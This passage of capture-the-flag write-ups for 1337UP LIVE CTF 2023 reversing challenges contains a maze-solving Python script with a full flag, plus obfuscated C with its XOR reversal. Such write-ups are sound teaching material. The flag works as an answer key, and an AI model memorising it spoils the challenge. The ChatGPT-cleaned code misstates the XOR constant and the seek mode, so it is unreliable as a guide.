111), (50, 111), (51, 111), (51, 110), (51, 109), (52, 109), (53, 109), (54, 109), (55, 109), (56, 109), (57, 109), (57, 108), (57, 107), (58, 107), (59, 107), (59, 106), (59, 105), (60, 105), (61, 105), (62, 105), (63, 105), (63, 104), (63, 103), (63, 102), (63, 101), (64, 101), (65, 101), (65, 100), (65, 99), (65, 98), (65, 97), (64, 97), (63, 97), (63, 96), (63, 95), (63, 94), (63, 93), (63, 92), (63, 91), (64, 91), (65, 91), (66, 91), (67, 91), (68, 91), (69, 91), (70, 91), (71, 91), (72, 91), (73, 91), (73, 90), (73, 89), (74, 89), (75, 89), (76, 89), (77, 89), (77, 88), (77, 87), (77, 86), (77, 85), (77, 84), (77, 83), (78, 83), (79, 83), (79, 82), (79, 81), (79, 80), (79, 79), (79, 78), (79, 77), (80, 77), (81, 77), (82, 77), (83, 77), (83, 76), (83, 75), (83, 74), (83, 73), (84, 73), (85, 73), (86, 73), (87, 73), (87, 72), (87, 71), (88, 71), (89, 71), (90, 71), (91, 71), (91, 70), (91, 69), (90, 69), (89, 69), (89, 68), (89, 67), (89, 66), (89, 65), (88, 65), (87, 65), (87, 64), (87, 63), (87, 62), (87, 61), (87, 60), (87, 59), (87, 58), (87, 57), (87, 56), (87, 55), (87, 54), (87, 53), (87, 52), (87, 51), (87, 50), (87, 49), (87, 48), (87, 47), (87, 46), (87, 45), (87, 44), (87, 43), (87, 42), (87, 41), (88, 41), (89, 41), (90, 41), (91, 41), (91, 40), (91, 39), (92, 39), (93, 39), (93, 38), (93, 37), (94, 37), (95, 37), (95, 36), (95, 35), (96, 35), (97, 35), (98, 35), (99, 35), (100, 35), (101, 35), (101, 34), (101, 33), (102, 33), (103, 33), (103, 34), (103, 35), (104, 35), (105, 35), (106, 35), (107, 35), (107, 36), (107, 37), (107, 38), (107, 39), (108, 39), (109, 39), (110, 39), (111, 39), (112, 39), (113, 39), (113, 38), (113, 37), (113, 36), (113, 35), (114, 35), (115, 35), (115, 34), (115, 33), (116, 33), (117, 33), (117, 32), (117, 31), (117, 30), (117, 29), (117, 28), (117, 27), (118, 27), (119, 27), (119, 26), (119, 25), (120, 25), (121, 25), (121, 24), (121, 23), (121, 22), (121, 21), (122, 21), (123, 21), (123, 20), (123, 19), (124, 19), (125, 19), (126, 19), (127, 19), (128, 19), (129, 19), (129, 18), (129, 17), (129, 16), (129, 15), (129, 14), (129, 13), (129, 12), (129, 11), (129, 10), (129, 9), (129, 8), (129, 7), (129, 6), (129, 5), (129, 4), (129, 3), (129, 2), (129, 1), (128, 1), (127, 1), (126, 1)]
This is the solve path from start to end. Based on the chall we need to find the hex values that is stored at every location. In the decompiled bytecode we can find the whole hex string that is placed across the whole maze.
Get the flag
So now our final solution will be:
from mazelib.solve.BacktrackingSolver import BacktrackingSolver
from mazelib import Maze
import numpy as np
m_string = "ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕE\x05\x04Q\x01\x10DP\x10\x00\x00\x01\x00\x00D\x00\x04DAU\x05P\x15\x15j®ú¿ªîëû®¿ëÿûﻺûëºûª¾«ºº´DU\x10\x01\x11\x14T\x04P\x14AD\x01EDQ\x04\x04\x01\x04\x04\x00T\x05\x1aúêîê»»ªïï«û»ï¯»îûîºîÿ®úî¼\x01\x10PUE@\x00@\x05U@\x00EQ\x00\x00Q\x05UD\x04QTT\x16®ë¯¯ï¿ï¯ê»ºÿ¾¯ÿïîºû»¾ëê®ûQ\x00PP\x00\x10\x05\x15UU\x05Q\x01\x11U\x15EDE\x15UDD@\x11»ÿëî®ï®î®ªºë﫪îºîúꪻúúºÑ\x01\x00TTE\x15\x14A\x04\x05QUUA\x00\x14\x05\x00\x14\x00Q\x10UAn¾úïÿúþ¾þ»¿îªººÿëþÿ»¯«¾ë¯õUE\x11\x05\x05\x04EP\x11\x14\x11\x00\x01EE\x14\x14\x15\x00\x11P\x10\x04P\x1eê»ëêî¿®®îë»ë¾»ºëêêþ¿»þ®ªì\x15@\x15\x14@\x04\x04\x04TU\x00EP\x05P\x00P\x10\x14D\x00\x00PUW®¾úï»»úïëªî믺«ë¯ºº¯ºú®»¯P\x00\x00@\x01\x05\x10T\x14A\x05\x05\x01D\x01EQ\x05@P\x05\x05TU\x05¾û»º»îïëëêú»û¾û¿«¯ûë»»ÿûúÐ\x11E\x01PT\x01@\x00\x15\x01\x15Q\x00\x15E\x00\x11EDDP\x00ADo¾¿ï®ïï®ïëïû¯þº®»¿º»ÿÿ«îºð\x11\x10\x04\x14@\x00\x04D\x01AE\x04DTP\x15\x04\x00\x10\x00\x01T\x05Q^þ®ë¿îÿ»ïª»ºû»»ïú®êþú¾«¾ë\xad@\x14\x15P\x04\x10\x04E\x15AAP\x00\x11\x15AT\x15@AA\x15@\x00F¾ï¿¾îºîþûÿ®®¾îê¾ûºûºîÿºÿû\x14@Q\x00AEAQE@\x04\x04TA\x00\x00\x00EQ\x05\x11\x00\x05\x10E«ûûï¯ïê¯«ûïúû믪ê¯ïþ®¯Ð@Q\x11\x14\x04\x05A\x00\x15T\x14\x00D\x11E\x05Q\x11UT\x14UUP{»®¾ÿ»ûûïꮿîÿ¿îë®êë®îêþºðQ\x14\x01Q\x10E@P@TT\x05\x00\x00\x00\x14\x11\x15@P\x14\x00P\x01_ûûûî꫺«þ¿ºþ¿®ê®ïºþ»®û®þíD@\x00\x00\x05TA@@T\x10@\x04\x11ET\x14\x11@EP\x14@\x14\x16®®ªîêî¯êîûîÿïúþ«¾ÿîï¿»®û«\x00UUEE\x15D\x05\x14QA@\x05A\x10TAP\x04\x10\x04@QQ\x11ª¾þêïþëî¿ê¯¿®®ª«ëîëºîûÿªûÕPA\x15\x05D\x04\x15A\x11\x01\x10\x14\x05UTT@\x14Q\x10\x04\x10A\x10n¿»ûî»ëúÿêïê¿þ¿¾ïïúîú»þîê±P\x11A\x05\x00\x05\x10\x14\x01E\x15P\x00\x04\x10TT\x01A\x15E\x00QUZ»îªî¿«ê»»¾¾¿¾îÿê﫺ºï¯ë¯\xadE\x00E@D\x15APDQ\x00T\x10\x14A@\x10\x15\x05P@\x10Q\x05\x16ï¿¿º«ïºþþûê»ûïú»ï®ï¾û¯ëêÿD\x15\x04\x11U\x01Q\x10\x00\x10\x05T\x01AU\x00@\x14\x14\x04A\x10\x14D\x01ﺫ»ÿ¿®þ®¾«ûû««ºî®¯»ªîëû¾Å\x10\x14E\x14\x14\x00@QPUDE\x05\x01E\x14QPPU\x11\x10DE~þ»¾ëê»îþ¿îºûû»úëû»î®®±PQ\x14\x11DTDPQ\x04@\x10\x05\x04\x05UEAE\x15\x05\x11ET^¯¿ëþ®ºÿï¾ïûîûÿ«»î¾þºë»î®ü\x01TQP\x15D@\x00\x10\x01\x01\x01D\x01\x15DQT\x15\x11T\x05AP\x07þ»®®þþ¾þ¯«ÿîûºþ¯ê뺮»ï\x15\x04\x00\x00\x04PD\x10T\x14D\x14\x00\x15\x00AAQU\x14\x00E\x05\x14Qêû«¾»®úþîîî¯þúþ¾¿«ªîëëÀ\x00\x14DP\x00A@\x14APP\x00@PP\x01\x10\x00\x14DD\x10Q\x00j®¾ûîî¾ÿû«îþîû®ú®î»û»ª®îþõUP\x04AQED\x01T\x14ADQ\x04\x15QAD\x10QUQ\x01\x11\x1aê¿®»«¾ûú¾ûîîï¿»»ëêþîªï®¾½\x15\x04\x15Q\x10AT\x15A@\x04\x04\x14\x11\x04\x10EE\x01QEPQA\x06ïªî뺿«êúï¿îúîïï¾»þî»ëûïï\x11\x15TE\x15T\x05\x00E\x04\x10\x04QA\x01\x04\x05@\x04\x10PD\x04@\x11º¯¯¿ú»îÿûî¿ûî»ëû®þ¿®«êêîþÑQ\x15\x05\x10P\x10\x05D\x04APTQ\x04\x11T@@TTTU\x11Enûúú¿ÿºú®î¯ªë»þþ¾ÿª¾¾îïú®ñ@@\x01U\x11QD\x00DT\x05@\x01@A@\x11\x15PPP\x00\x11@\x1aêᆰë®ë««¯»îêªûêë«»ªëîîúíEUP\x01@\x00D\x15\x15\x14\x10Q\x15\x15@\x05@\x15\x04U@D\x11\x15F못¾ºîë뾿º¯¾¯ºïþîþë®ê«û»U\x11\x01\x10\x15AUE\x14QQ@PT\x05@@D\x05DU\x15T\x10E¯þúÿë¿ï«ë¾»ïº®û«þûî¿ê¾ïîþÁ\x00AA@\x10@\x04T\x05\x11\x04\x01UPTP@ATE\x05\x15@\x01{úëû¿¿¿ëîê»úë¾îîïºÿ«¿®ê«ïðUE\x04\x01U\x11T@E\x01UU\x01\x01E\x15\x11DA\x00P\x15\x04@_ª«îûºº«û»ûª®«î¾êï«»ûîÿ®ú¬\x05U@\x15\x01\x01\x01E\x10@@PTD\x00\x14\x04\x04DT\x04\x01\x14\x11G¾»»ºû®®¯î®ûªþÿ»ÿïëªë¿¿PQ\x00P\x04\x14QD\x04TPU\x14\x11\x04@\x00\x14\x01P\x15UU\x14\x01¿»ûþª¾¯û¿¿ïîë¾þúªû¾ÿ¾îëë¯ÔUD@TTUE\x00P\x04AA\x14\x00\x05UPPU\x01DA\x01Pjë»ÿîúþººûúê¾úûîëêëê뻿º»±\x14P\x01\x05@\x15D\x05Q\x01ED\x10@A\x15A\x14@\x05\x05@U\x10Zêï»þûú¯ïëþº«¾þ»º¾ÿî»ï¿ûïíA\x11QEQ\x14\x00\x04PU\x01UP@PQ@PTD@\x01\x10@\x17¾»ºº«ë¯»«êºî«úêþº®î®ÿ»ëúë\x04\x14ED\x05U\x14\x05\x04@\x11\x11DAE@E@\x05T\x04\x10\x00\x11\x15ûë»»»ªÿïëûþûûëþªºîï¾î¾ÄAU\x15\x10\x00DET\x14E@PPDQ\x05DU\x05\x15E\x01\x14A{»ªêᆵ¾®êú«ÿïªï믻þºªî¿ë°\x14T@TQDA\x15@A\x14A\x15\x05@\x04\x10\x05\x00DU\x01D\x04_ªë¿¯¾ë¯êû¿îºê¯¾ë®ëû¿îïï¾ì\x10@\x04A\x00TUT\x04P\x04Q\x00\x11\x01DTD@@A@D\x01V»ªï«û¯ª«®ë»¿ªîëë¯êîîªë»ê«EE\x14UU\x00\x00\x00PDQ\x05\x15D\x15\x15Q\x05E\x14U\x15\x10\x15E®º¾î«¾«»¾¾»î¾û®»®êª»«¿®ûîÔ\x15Q\x05\x04DU\x11AQQ\x05\x10\x11T\x15EUUQ\x14A\x14\x11\x01o«ë¿î®¾ººÿú¾ëªë¿¾þêû¿êµ\x14\x00\x00\x01A\x10\x04E\x04\x05Q\x15E\x15@E\x01\x04\x00\x01\x15A\x15\x15^ëþû»«¯»ú¾îºê»ªîêºþ®ÿ¿þ꿬\x05\x00\x05\x04\x04UE\x01\x10\x15EP\x00\x14\x01\x15U@T\x05A@P\x01Vÿ®«¾ëî®ëª¾ïﻫ»û»»û¾«¾ê¿¿P\x11UDD\x14\x14\x15\x15D\x01\x14\x05\x14DTP\x04Q\x00\x14\x01A@\x01ë«ÿ¯ë¾«ïû請«îþêû¾¯î«û»êïÑ\x15\x00\x14\x04TP\x15AT\x15@U\x01P@\x15\x14P\x01T\x05T\x15Djêë®ûû¾þ»«ëê®ú¯ªûëû¯¾ï«ºþõ\x15U\x10@\x10\x11@\x01\x01\x04EAAAUQ\x04\x11\x14\x01\x10A\x05\x00Zÿîî¾î®¯ê¾ºþûþÿ¿îë¿ï¿«î뻬\x01@\x14T\x15T\x14\x05DQ@@\x10\x01@\x00\x05AQPU\x01\x15\x04G«®¿úþ꯻»ºº¾þê¾ÿ«®ªº¿êú«ï\x15\x05Q\x00\x00UQ\x11QEEP\x10EPP\x14D\x01\x01@\x15\x05TAîêþ¾®ªê«¯¾»¯îûû¾ê꾯»ëÑE\x14\x04QQ\x15ED\x01U\x14\x14Q\x05\x04\x10A\x04E\x15DT\x04\x14nÿêþ»êû®®ëîþúþîû¾îëê®ï¿¾®°@\x00\x04T\x15\x15\x14\x14TAUA@\x10\x14\x01DDEU@P\x04QZ¯ºïª¯û¿îëëêþïºú뺮úªû¾¯¯\xadT\x11\x14\x14PP\x05\x15@\x14U\x00\x11\x05@\x15\x05T\x11T\x04AQQ\x17»ê¿¾û«þê«¿ªï»êºï￾ë¯¿\x11EDT\x14PP\x00TQP\x04\x01\x05Q@AP\x01D\x15UQ\x00Qï¯þêúúï¾ëþ¾ÿª®þ®¯»êªºú¾»ûÁ\x04\x14D\x10\x11\x15\x15\x14@\x11P\x15U\x11TU\x15\x05UPE\x00DT~«ª¿úºúº®î¾»¾¾»úîþºî®ªðTPA\x01Q\x10\x14\x15AP\x01\x10T\x11TU\x00\x01D\x01D\x01TT_ïþºúîþ«®»«®®úëºú®®ïº®úÿª¬\x04\x11Q\x01D\x11Q\x14\x11Q\x11TD\x10AT\x11U\x15EQA\x00PG¿®¿¿»ûÿûûïúþê»î¾º»þ¯î«\x14UP\x04\x10P\x00\x00E\x11\x14\x01\x11A\x11\x00P\x11\x10\x05P@UTU꺿»®ë¿úþ¾ëï¾¾ûª¾®®¾¿ëº«ºÅ@\x00\x10T\x10P\x01\x10\x04DUT\x10\x04\x15PTPEDE\x05\x00E~ú¾ïê»ïîîë¾êªê¿¿ÿ¿¯¾þÿ¾ûïð\x01P\x10UQ\x00EAE\x04EQAAE\x00\x10\x14\x00\x00\x10\x01PA\x1e¯ºÿïúú뻮껪û®ÿ¾ªúïîþíT\x15@\x00\x01AA\x10D\x15\x10\x00\x05E\x05\x01\x11A\x14UQ@P\x04Fû믾úû¿ëþ¾¿»þúïîîþº¿®ûï¯ïE\x05\x14\x10\x11\x04PDTDP\x15T\x05A\x04Q\x10\x04@DP\x01\x10\x01»þïêê«ÿ®ëëþ»«¿ÿûªºûûÿ¯¿îþÀ\x00\x00UEU\x00\x05\x14\x05\x14PEA\x00\x05EED\x04\x04PD\x01\x04{ÿîªî«»®ºï»êº¯úº¯«ªþªþ¯ûîµ\x14\x01U\x11U\x10T\x10A\x00UT\x04EPAU\x14\x04UDP@QZëûë¿»þ¯®ûÿ«êêúû»¯þ¯»¯ºúîí@\x01\x04\x04\x04\x04T\x14\x11P\x00\x10U\x11A\x05\x00\x10PP\x01\x15\x11\x01Fÿþ¾îïÿ¿®¾®þ¿®¾îïêþºþ»êÿî»\x14\x10ED\x11\x10\x10\x15P@ATA\x04\x04A\x15TQ\x05D\x01\x01\x04Eë¾¾»¿îîú¯ªêû¿¿¯ú¾ëª¾ëºïï¾Ð\x15P\x04A\x00\x15@Q\x15E\x04\x00\x01U\x01\x10\x10U@\x15\x05@\x15\x05k꾺¯úî¾ûÿûúþª¾ú¯ú¯ïºëúºîð@\x01ET\x05D\x15PU\x01\x10QU\x10\x01UEEAUD\x05P\x10\x1fÿ뻺¯ÿêîê»ëëë««®ºêºª¾ê¾û¼\x00\x05PEU\x00\x01\x10\x11\x05P@\x04TTQ\x00D\x05\x11D\x15T\x04Gûî¯ïîÿûªîþ¯º®»îÿ¾ú¾êÿ¿êî¿DDAD\x00\x05QQU\x00\x04QTDA\x11\x10\x11EE\x01\x00\x11\x14A®û몾®ú«»»¯ï¾î®ú¿ëû»«¯ÀPEEPA\x00\x11D\x01TA\x04QA\x04\x05T\x11ED\x10PTQz«ú®ÿûï¯êû»îîûªþªÿ®¾»»¾¾ú±Q\x01ADP\x04\x10\x15Q\x11\x14DQ\x15@TP\x11\x00\x04Q\x05AQZúë뻫»îïïÿîú®¿ª¾ê»¯»®ú¿ª\xad\x05DED@DAAA\x14\x00\x11P\x00UDQPPQ\x11\x14AQG¯ê꯫ºº«ÿû¾ï¯ëîªÿê믮»\x11\x05DPEET\x15\x01\x00T@\x15AT\x15\x05AUU\x15@P\x14E»ûëîû®ÿ«ûëîþê»ïêê«þª¿ûëû®ÅPD@DE\x14\x15EDAP@\x10E\x04\x05\x14A@\x01\x00T\x11\x14o®ïþªîêÿ®»úëþïîúûîþ¾¾ï®ÿ¾µ\x00\x14\x00TA\x01P\x00\x10AE@\x11@\x01\x05\x04\x10\x01A\x10EDP^ïªþ¾ªªª¯»ÿû»«ªª»îﻯþîîÿ¼\x01\x15@PUUEU\x11\x00\x00\x00T\x15UD\x14E\x10PQ@\x00\x04\x07úûê¾îþ¿úïÿ¿¾ú뻯»ú»ïëºû®ï\x01@EPD@P\x00D\x00\x10PAE\x10Q\x05TE\x00\x00Q\x05\x11\x11þþÿ¿¯«ûªûþï¿«þ¾û¿ªëê®þ®®ûÀ\x04\x14P\x14\x15A\x15A\x00A\x00\x14@A\x04P\x00E\x05Q\x14QQ\x10j﫯º¯¾û¯¾ûú¾ú«¾¾ê«ûîûº»»õA\x14\x00UQ\x00\x05\x10DQAPATDT\x15T\x15\x01\x00EQ\x04\x1bûê®û»¿®êïî¿¿¿ú¯ë«ë»»¯º«¾½\x01EUA\x10T\x14\x15\x14\x00\x04\x10A\x01QQ\x15\x04A\x14TETPF»ºººîûﺮ»ª¿¯®û«ïºúêê¯þîïU\x01PQ\x01@\x01\x11UPUP\x01QD@@QAADQ\x00QAûþû¾ïúûëîûï¿ê«®®»«¾ëêþþïîÄ\x00\x05AD\x01@DD\x00A\x10\x05E\x01QQ\x15T\x14\x15D\x04\x00\x15oï¾»®þªúþ®îîþ»ïûº»«þ«¯»¯ºõ\x01\x01A\x11PU\x11AQEDPD\x10DQU\x00\x10U\x00DQ\x04Zû»¾ûªº»þþº¿ª®ºêú¯ï®«êì\x01DP\x05\x11EQ\x11\x15PP\x11TQ\x05TA\x10\x11P\x11\x15T\x15\x07ëªþ¾îïÿîêê¿þ¯ª®ë¯þ¿®«êúî»U\x05ETA\x15D\x04AUD\x00T\x15Q@UQTTT\x14\x05\x11Uªîºêï¾»»¾¯»ëïë«îî®êþººþûªÁTD\x01E\x04\x01T\x04\x00\x11DE\x05\x14\x14U\x11P\x04UQ\x01\x10Uj«ÿª¾¯ªºº»¾¾þú¯¿®î«®ûú¯¾êµP\x04\x15D\x11U\x14TE\x01\x11\x04\x01Q\x01\x10\x00\x01\x14\x01\x15QPDZ»úªêë®ë뮺»¿ºïëïïþ¯ê«º¿ë½EAUEE\x01@\x01QQP\x10\x15@E\x15\x04\x14PE\x11\x11\x04U\x07«»ïÿ®»¾®¾º¾ÿ¾ÿ»¾û¯ÿ»¯ï\x01\x11\x15\x15\x10D\x05\x15\x10PTAPU\x05\x05AP\x01E\x10\x10\x04\x05\x01û¾þïþîúê»îþú»ª¾ê¾ªîîû¯îêîÁ\x01\x00\x01\x10DA\x14PA@\x11QQ\x01\x14\x15\x01A\x01\x04PA\x14Unëúúëÿþï¾»¯¾û»ï¿ºº»ï¾þÿ몵DEAUE\x15\x15QPTA\x15\x00D\x10\x05UP\x10AE\x00DPZúººê»»ï«ºúû뺫¾ûë®îêºí\x11@TP\x00\x00D\x00\x04U\x05\x01EPA\x10\x01\x04\x04\x14A\x11\x15QW¾úî¾î«ºªëîëºú¯îû¿®ï¯ï»î¯¯\x00\x05\x14T\x14U\x00U\x15@\x15Q\x10E\x01EU\x11\x11\x14\x00\x04TQU꾫뿾®ëªú®ûﺻ¾ï»¿ïûªÄA\x11ATU\x04T\x10\x14\x11EUPA\x10\x00\x11\x05A\x15\x00\x14\x15P~ëûªû¿ªê®ëú®ë못ê®îëꮪª®´D\x15\x05P\x05UAQDQA@\x04UA\x05Q@\x14DQPQ\x04[ú««î¾®¯ï»ªïªë»ïºêï¯úîÿÿû¼\x01Q\x15\x00T\x04U\x05\x14UDU\x15\x11\x05U\x15\x10Q\x05D\x15E\x04Fîúî뺯úºêûêÿ¿ïú»»úû¾úº®ºëD\x11\x14E\x10T\x00P\x11@\x04\x10\x01\x04\x01\x00\x05\x01@\x01A@\x00\x05Eÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\x01"
size = 201
grid = []
for i in range(0, size**2):
if i % size == 0:
grid.append([])
grid[-1].append(ord(m_string[i // 8]) >> (7 - i % 8) & 1)
arr = np.array(grid, dtype=np.int8)
m = Maze()
m.grid = arr
m.start = (59, 199)
m.end = (125, 1)
m.solver = BacktrackingSolver()
m.solve()
solution = m.solutions[0]
chars = "1b2abc5145a7373d3...REDACTED...02197"
flag = "".join([chars[i[0] * size + i[1]] for i in solution])
print(flag)
When we run this it will give us the flag:
Wrap this with intigriti and submit it!
INTIGRITI{d4842a6e6519c3838d3387400e6237db2a4d2db5ceb8740d8ce094f22527c25f33615746336af6d897f9d7491ff782cf9e71de332b49b771b7eae33ecce7c8fa26fe722367066d333ac4f30f699b0c103dfd8eedac6bfe504834301da7ea48e63e2b2afa74aa8279bd2df1fd101cd83de6a0882639df1b6be4eff18bb51670fe447a9bbbed22a717733e4e60b6cfaa7b4c2c6a3a0b81a89639d09645959ddfcd30c970436f6137accc3243586581b5c946825202b7e1192}
Obfuscation
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud |
Category | Reversing |
Solves | 211 |
Difficulty | Easy |
Files | obfuscation.zip |
Solution
We get 2 files after unzipping the zip. One is an output file with some weird string the other file is an obfuscated c program:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int o_a8d9bf17d390687c168fe26f2c3a58b1[]={42, 77, 3, 8, 69, 86, 60, 99, 50, 76, 15, 14, 41, 87, 45, 61, 16, 50, 20, 5, 13, 33, 62, 70, 70, 77, 28, 85, 82, 26, 28, 32, 56, 22, 21, 48, 38, 42, 98, 20, 44, 66, 21, 55, 98, 17, 20, 93, 99, 54, 21, 43, 80, 99, 64, 98, 55, 3, 95, 16, 56, 62, 42, 83, 72, 23, 71, 61, 90, 14, 33, 45, 84, 25, 24, 96, 74, 2, 1, 92, 25, 33, 36, 6, 26, 14, 37, 33, 100, 3, 30, 1, 31, 31, 86, 92, 61, 86, 81, 38};void o_e5c0d3fd217ec5a6cd022874d7ffe0b9(char* o_0d88b09f1a0045467fd9afc4aa07208c,int o_8ce986b6b3a519615b6244d7fb2b62f8){assert(o_8ce986b6b3a519615b6244d7fb2b62f8 == 24);for (int o_b7290d834b61bc1707c4a86bad6bd5be=(0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00);(o_b7290d834b61bc1707c4a86bad6bd5be < o_8ce986b6b3a519615b6244d7fb2b62f8) & !!(o_b7290d834b61bc1707c4a86bad6bd5be < o_8ce986b6b3a519615b6244d7fb2b62f8);++o_b7290d834b61bc1707c4a86bad6bd5be){o_0d88b09f1a0045467fd9afc4aa07208c[o_b7290d834b61bc1707c4a86bad6bd5be] ^= o_a8d9bf17d390687c168fe26f2c3a58b1[o_b7290d834b61bc1707c4a86bad6bd5be % sizeof((o_a8d9bf17d390687c168fe26f2c3a58b1))] ^ (0x000000000000266E + 0x0000000000001537 + 0x0000000000001B37 - 0x00000000000043A5);};};int o_0b97aabd0b9aa9e13aa47794b5f2236f(FILE* o_eb476a115ee8ac0bf24504a3d4580a7d){if ((fseek(o_eb476a115ee8ac0bf24504a3d4580a7d,(0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00),(0x0000000000000004 + 0x0000000000000202 + 0x0000000000000802 - 0x0000000000000A06)) < (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00)) & !!(fseek(o_eb476a115ee8ac0bf24504a3d4580a7d,(0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00),(0x0000000000000004 + 0x0000000000000202 + 0x0000000000000802 - 0x0000000000000A06)) < (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00))){fclose(o_eb476a115ee8ac0bf24504a3d4580a7d);return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};int o_6a9bff7d60c7b6a5994fcfc414626a59=ftell(o_eb476a115ee8ac0bf24504a3d4580a7d);rewind(o_eb476a115ee8ac0bf24504a3d4580a7d);return o_6a9bff7d60c7b6a5994fcfc414626a59;};int main(int o_f7555198c17cb3ded31a7035484d2431,const char * o_5e042cacd1c140691195c705f92970b7[]){char* o_3477329883c7cec16c17f91f8ad672df;char* o_dff85fa18ec0427292f5c00c89a0a9b4=NULL;FILE* o_fba04eb96883892ddecbb0f397b51bd7;if ((o_f7555198c17cb3ded31a7035484d2431 ^ 0x0000000000000002)){printf("\x4E""o\164 \x65""n\157u\x67""h\040a\x72""g\165m\x65""n\164s\x20""p\162o\x76""i\144e\x64""!");exit(-(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03));};o_fba04eb96883892ddecbb0f397b51bd7 = fopen(o_5e042cacd1c140691195c705f92970b7[(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03)],"\x72""");if (o_fba04eb96883892ddecbb0f397b51bd7 == NULL){perror("\x45""r\162o\x72"" \157p\x65""n\151n\x67"" \146i\x6C""e");return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};int o_102862e33b75e75f672f441cfa6f7640=o_0b97aabd0b9aa9e13aa47794b5f2236f(o_fba04eb96883892ddecbb0f397b51bd7);o_dff85fa18ec0427292f5c00c89a0a9b4 = (char* )malloc(o_102862e33b75e75f672f441cfa6f7640 + (0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03));if (o_dff85fa18ec0427292f5c00c89a0a9b4 == NULL){perror("\x4D""e\155o\x72""y\040a\x6C""l\157c\x61""t\151o\x6E"" \145r\x72""o\162");fclose(o_fba04eb96883892ddecbb0f397b51bd7);return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};fgets(o_dff85fa18ec0427292f5c00c89a0a9b4,o_102862e33b75e75f672f441cfa6f7640,o_fba04eb96883892ddecbb0f397b51bd7);fclose(o_fba04eb96883892ddecbb0f397b51bd7);o_e5c0d3fd217ec5a6cd022874d7ffe0b9(o_dff85fa18ec0427292f5c00c89a0a9b4,o_102862e33b75e75f672f441cfa6f7640);o_fba04eb96883892ddecbb0f397b51bd7 = fopen("\x6F""u\164p\x75""t","\x77""b");if (o_fba04eb96883892ddecbb0f397b51bd7 == NULL){perror("\x45""r\162o\x72"" \157p\x65""n\151n\x67"" \146i\x6C""e");return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};fwrite(o_dff85fa18ec0427292f5c00c89a0a9b4,o_102862e33b75e75f672f441cfa6f7640,sizeof(char),o_fba04eb96883892ddecbb0f397b51bd7);fclose(o_fba04eb96883892ddecbb0f397b51bd7);free(o_dff85fa18ec0427292f5c00c89a0a9b4);return (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00);};
We can ask ChatGPT to clean the code. The output is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int key[] = {42, 77, 3, 8, 69, 86, 60, 99, 50, 76, 15, 14, 41, 87, 45, 61, 16, 50, 20, 5, 13, 33, 62, 70, 70, 77, 28, 85, 82, 26, 28, 32, 56, 22, 21, 48, 38, 42, 98, 20, 44, 66, 21, 55, 98, 17, 20, 93, 99, 54, 21, 43, 80, 99, 64, 98, 55, 3, 95, 16, 56, 62, 42, 83, 72, 23, 71, 61, 90, 14, 33, 45, 84, 25, 24, 96, 74, 2, 1, 92, 25, 33, 36, 6, 26, 14, 37, 33, 100, 3, 30, 1, 31, 31, 86, 92, 61, 86, 81, 38};
void decrypt(char *data, int length) {
assert(length == 24);
for (int i = 0; i < length; ++i) {
data[i] ^= key[i % sizeof(key)] ^ 0x7C35;
}
}
int getFileSize(FILE *file) {
if (fseek(file, 0x200 + 0x800 - 0xA00, SEEK_SET) < 0) {
fclose(file);
return -2;
}
int size = ftell(file);
rewind(file);
return size;
}
int main(int argc, const char *argv[]) {
if (argc != 2) {
printf("Not enough arguments provided!\n");
return -2;
}
FILE *inputFile = fopen(argv[1], "r");
if (inputFile == NULL) {
perror("Error opening file");
return -2;
}
int fileSize = getFileSize(inputFile);
if (fileSize < 0) {
return fileSize;
}
char *data = (char *)malloc(fileSize + 2);
if (data == NULL) {
perror("Memory allocation error");
fclose(inputFile);
return -2;
}
fgets(data, fileSize, inputFile);
fclose(inputFile);
decrypt(data, fileSize);
FILE *outputFile = fopen("output", "wb");
if (outputFile == NULL) {
perror("Error opening file");
free(data);
return -2;
}
fwrite(data, fileSize, sizeof(char), outputFile);
fclose(outputFile);
free(data);
return 0;
}
We can see it does a simple xor with the input we give. We can do the reverse to get the flag:
#include <stdio.h>
#include <stdlib.h>
int arr[] = {42, 77, 3, 8, 69, 86, 60, 99, 50, 76, 15, 14, 41, 87, 45, 61, 16, 50, 20, 5, 13, 33, 62, 70, 70, 77, 28, 85, 82, 26, 28, 32, 56, 22, 21, 48, 38, 42, 98, 20, 44, 66, 21, 55, 98, 17, 20, 93, 99, 54, 21, 43, 80, 99, 64, 98, 55, 3, 95, 16, 56, 62, 42, 83, 72, 23, 71, 61, 90, 14, 33, 45, 84, 25, 24, 96, 74, 2, 1, 92, 25, 33, 36, 6, 26, 14, 37, 33, 100, 3, 30, 1, 31, 31, 86, 92, 61, 86, 81, 38};
void deobfuscate(char *enc) {
for (int i = 0; i < 24; ++i) {
enc[i] ^= 0x1337 ^ arr[i % sizeof(arr)];
}
}
int main(void)
{
FILE *fp;
char *enc = NULL;
fp = fopen("output", "rb");
if (fp == NULL) {
perror("Error opening file");
return -1;
}
enc = (char *)malloc(24);
if (enc == NULL) {
perror("Memory allocation error");
fclose(fp);
return -1;
}
fgets(enc, 24, fp);
fclose(fp);
deobfuscate(enc);
printf("%s\n", enc);
free(enc);
return 0;
}
After compiling and running we get:
Lunar Unraveling Adventure
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & DavidP |
